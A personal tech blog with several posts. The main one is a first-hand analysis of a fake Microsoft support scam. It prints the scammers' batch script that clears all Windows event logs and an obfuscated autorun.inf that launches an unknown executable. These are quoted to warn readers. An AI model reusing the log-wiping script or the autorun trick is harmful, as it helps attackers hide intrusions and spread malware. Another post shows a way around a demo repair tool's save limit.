Showing posts with label batch. Show all posts
Showing posts with label batch. Show all posts

Sunday, October 20, 2019

Me and Programming - It hasn't clicked yet

Despite working in IT jobs for years it was never really required for me to code and program something myself. However, it still feels like unfinished business for me...

Let's go a bit back in time, around a decade ago in the late 2000s I was working in IT administration while doing my apprenticeship. As part of the program I went to school like once or twice a week and programming was also a subject. Some C#, Visual Basic, HTML and php, but that was pretty much it. 

I remember wasn't that bad, I even tried playing around in my free time and got too often stuck with error codes leading my code into a dead end as I couldn't figure out what's wrong. Now I would say that I definitely needed more time to dive in and understand why certain things don't work.

I always had an interest in creating things, be it drawing, writing, creating videos... However creating software I only did to a small degree as mentioned before. Maybe creating a little calculator. I even had a book about C# which would lead ultimate lead to the creation of your own Space Invaders game in the final chapter. I never got that far. I don't know, maybe I couldn't find a way yet making me like the way coding works.

During the past few weeks other people told me (without me asking) about their personal ambitions towards coding, some more realistic, some less. One guy thinks about getting into it for financial reasons, as it gives you plenty of jobs nowadays. Another one intends to completely change his field (he is a chef now) as his live-long dream is going into the game industry. However he is hasn't written a single line of code up until now, so it's quite over-ambitious I'd say.

In my view you need to live to code, put full dedication into it. Like another guy who started in his late 20s to get a university degree in that field. He describes programming as "solving problems" and that's exactly what it is. If you like to find a way out of a dead end, that's probably exactly your thing.

After all these conversation I thought like, ok, maybe I should give it a shot again. I started creating some really simple Excel macros in Visual Basic. However the functions I tried where not really something I could use for work. So I looked at other codes and got simply overwhelmed by its complexity.


I don't wanna be an expert, just wanna do some occasional things for fun. So I wonder which path I should pursue here... I feel like I should know more than I do.

Wednesday, December 21, 2016

Repair damaged videos from your Android phone

I was recording a few videos recently and during the recording I could no longer press 'Stop'. Video wasn't saved properly and couldn't be played at all. But there was a *.tmp file left...

Using my old Galaxy S3 mini my recording ended up with having no more space on the internal SD card and that's why the video couldn't be finalized and the phone also started rebooting afterwards.

At first, I couldn't really see if there was a temporary file or not, but the phone indeed created a 'mp4.tmp' file. From that point on I was sure I could save the video...


Some research...


At first I tried putting the file into video editing software, but no chance! Using Internet search engines you'll find a lot of software with that feature. I tested an app in Google PlayStore called 'MP4Fix': You first chose the damaged file and then another undamaged video file in order that the app can take the video header from it to repair the corrupted mp4 file.

The process was successful and then the app offered the option to 'Play' the video. It worked, it had the actual length and also the sound was working. But now the downside: If you chose 'Save' you'll get the offer to upgrade the app to 'Premium' for 3.99€. Of course that's an option and an easy an quick solution, but for me it was rather a challenge to find a free solution.

Some Windows software were using the same 'freemium' model like a software called 'Remo'. Fixing and watchng within the software works, but no free way to save or export it. Through further researching I actually saw a few times the same good solution by 'cheating a bit' while using a demo version of another repairing tool...

A little workaround...

Here's how it goes: Google for 'Video Repair tool Grau' and you'll find a demo version of that useful piece of software. The thing is that you can save 50% of your video with the free demo version! And if you cheat a bit, you can even save 100% of your video by converting 50% of two copies of your damaged file. But let's put into an order:

1) Download the tool
2) Copy your damaged file into an 'easy-to-reach' folder
3) Rename it simple (it chose just 'V1.mp4')
4) Copy 'V1.mp4' and name it 'V2.mp4'. Now you have two files with the same size.
5) Open command ('cmd') as administrator and go the folder with these two video files
6) Use this command to merge the two files:
copy/b V1.mp4 +V2.mp4


7) V1.mp4 is now twice as big as before. 
8) Open the 'video repair tool'
9) Select the new 'V1.mp4' file and another reference video file from copied your phone. Click 'Scan' and the video will be created (because of the trick even in full length) in the 'repaired' folder as seen in the screenshot.


It's a quite simple workaround, but it works perfectly. My video was saved and I hope yours will be, too!

Tuesday, December 8, 2015

A call from Microsoft 'to fix the issue'

Sometimes you hear stories about scammer pretending to work for Microsoft which are trying to get access to a private computer. Their victims are gullible people which called directly at home. Lately I got to see a Windows 7 system where such a 'helpdesk guy' had access...

It all starts with a phone call where these guys say they're from Microsoft and on the computer is an issue to be fixed. 

Interestingly, they're are even calling people in Germany only speaking English and just a bit of German.

In case there were comprehension problem they used internet translation tools to move forward and they always said when this procedure costs something, they will say it (as seen later...).

Getting access

To show the people that they're trustworthy they mention a combination of numbers and later show them the exact same digits somewhere on the computer. I don't know which numbers, but obviously a combination which is on all Windows machines the same.

For getting the access they're letting their victims go to https://showmypc.com to download a remote support tool. This tool apparently includes a service and a version of Tight VNC.

Additionally they are using the tool "LogMeIn Rescue" (https://secure.logmein.com) for file transfer. Then they're copying a txt file to the desktop with following three lines to 'prove' they're real:
My Name = Christopher winter
My Employee ID = MS98646
Our Email Address = support@microsoft.com

The 'cleaning'

During this remote session the tool ATF cleaner was copied to the computer. According to the website (www.atribune.org) this software is from 2006 - so for Windows 2000 and Windows XP. There are extra notes added for the support of Windows Vista. 

The tool is just able to delete cache from Firefox and Opera. Concerning its age the only reason for using this exe must be to distract from something. Maybe from the batch file which was copied and executed shortly afterwards - name: CLEANER.bat.

Correct me, if I'm wrong, but its purpose is to get admin access and delete the event logs.
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared! ^<press any key^>
goto theEnd
:do_clear
echo clearing %1
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
echo ^<press any key^>
:theEnd
pause>NUL

By that time the fake support guy said that he wants to install a special cleaning software for something around 90 euros. He couldn't send an email or other information material. It was about just installing it now or not. After that the user of the computer ended the call.

The CLEANER.bat wasn't deleted properly, because I found it in the Recycle Bin. But the eventlog was starting from new...

Further traces

In 'Run' (Windows+R) I found the following commands which were last used: 

iexplorer support.me (leads to https://secure.logmeinrescue.com/Customer/Code.aspx)
services.msc
eventvwr
certmgr.msc
prefetch
winver
msconfig

Looking for further hints for what has been done, I saw two suspicious files where the changing time was exactly during the end of the time when the support had access. In the root folder of the second hard drive is a pwdx.exe and an autorun.inf which should open the exe-file (see below).

;wnylejSrKiV rQxf eiYqRlldTudXghdrnqmBjyIgAeaGLphfkBfnuegSkajgEnux
;
open= pwdx.exe
;
sHeLL\exPLOre\COmmanD = pwdx.exe
;fLeR
shell\OpeN\cOmmAND=pwdx.exe
;
sHElL\AutOpLay\cOmmand =pwdx.exe
[AutoRun]
;
shell\opEN\DeFaULt=1

About the pwdx.exe I'm not sure what that exactly is. I only found the information that it's a maybe a Linux-based monitoring tool. Please comment, if you know more.

Anyway, the computer was filled with these virus warning windows as seen on the right. And there was also a warning message from the internet service provider the next day.

During the time the session was running, anything could have been done. These are just the few things I've found in a short amount of time.

After this event the computer wasn't connected to the internet anymore. A reinstallation was more than necessary...

Note: If anybody knows more about these fake helpdesk people or has his oder her experiences about it, feel free to comment. 

Friday, August 16, 2013

How to shutdown Windows 8

When I first started Windows 8 I couldn't believe that I was unable to shut it down.

I've also heard of people who also couldn't find 'the button' that they wrote a batch script saved on the desktop for it - even better than simply turn off the power (what I believe lots of people did...)..

Ok, my first thought was to use the shortcut ALT + F4 (still works) but there had to be a way for a normal user.

Yes there is! Move your mouse to the right down or up edge of the screen to open an extra menu.
Choose 'settings' and then there's an option for On/Off. With another click you can finally chose 'Shutdown'.

Still - it could have been hidden better..

Luckily they changed that for the update Windows 8.1 with the NEW start button...